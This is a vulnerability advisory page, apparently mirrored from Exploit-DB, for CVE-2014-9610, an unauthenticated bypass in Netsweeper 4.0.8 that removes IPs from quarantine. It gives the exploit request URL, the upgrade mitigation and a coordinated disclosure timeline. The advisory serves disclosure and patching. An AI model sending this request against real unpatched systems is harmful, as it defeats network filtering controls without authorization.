Netsweeper 4.0.8 - Authentication Bypass (Disabling of IP Quarantine)

vendor:

Netsweeper

by:

Anastasios Monachos

5,3

CVSS

MEDIUM

Authentication Bypass

287

CWE

Product Name: Netsweeper

Affected Version From: 4.0.8

Affected Version To: 4.0.8

Patch Exists: Yes

Related CWE: CVE-2014-9610

CPE: a:netsweeper:netsweeper

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2014

Netsweeper 4.0.8 – Authentication Bypass (Disabling of IP Quarantine)

An unauthenticated user is able to remove from quarantine any IP address on Netsweeeper 4.0.8 (and probably other versions). URL Path: http://netsweeper/webadmin/user/quarantine_disable.php?ip=127.0.0.1

Mitigation:

Upgrade to latest version.

Source

Exploit-DB raw data:

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+ Netsweeper 4.0.8 - Authentication Bypass (Disabling of IP Quarantine) +
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Affected Product: Netsweeper
Vendor Homepage : www.netsweeper.com
Version 	: 4.0.8 (and probably other versions)
Discovered by  	: Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched      	: Yes
CVE		: CVE-2014-9610

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+ Product Description +
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Netsweeper is a software solution specialized in content filtering.

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+ Exploitation Details +
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An unauthenticated user is able to remove from quarantine any IP address on Netsweeeper 4.0.8 (and probably other versions).
URL Path: http://netsweeper/webadmin/user/quarantine_disable.php?ip=127.0.0.1

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+ Solution +
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Upgrade to latest version.

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+ Disclosure Timeline +
+---------------------+
24-Nov-2014: Initial Communication
03-Dec-2014: Netsweeper responded
03-Dec-2014: Shared full details to replicate the issue
10-Dec-2014: Netsweeper fixed the issue in releases 3.1.10, 4.0.9, 4.1.2
17-Dec-2014: New releases 3.1.10, 4.0.9, 4.1.2 made available to the public
18-Dec-2014: Confirm fix
17-Jan-2015: CVE assigned CVE-2014-9610
11-Aug-2015: Public disclosure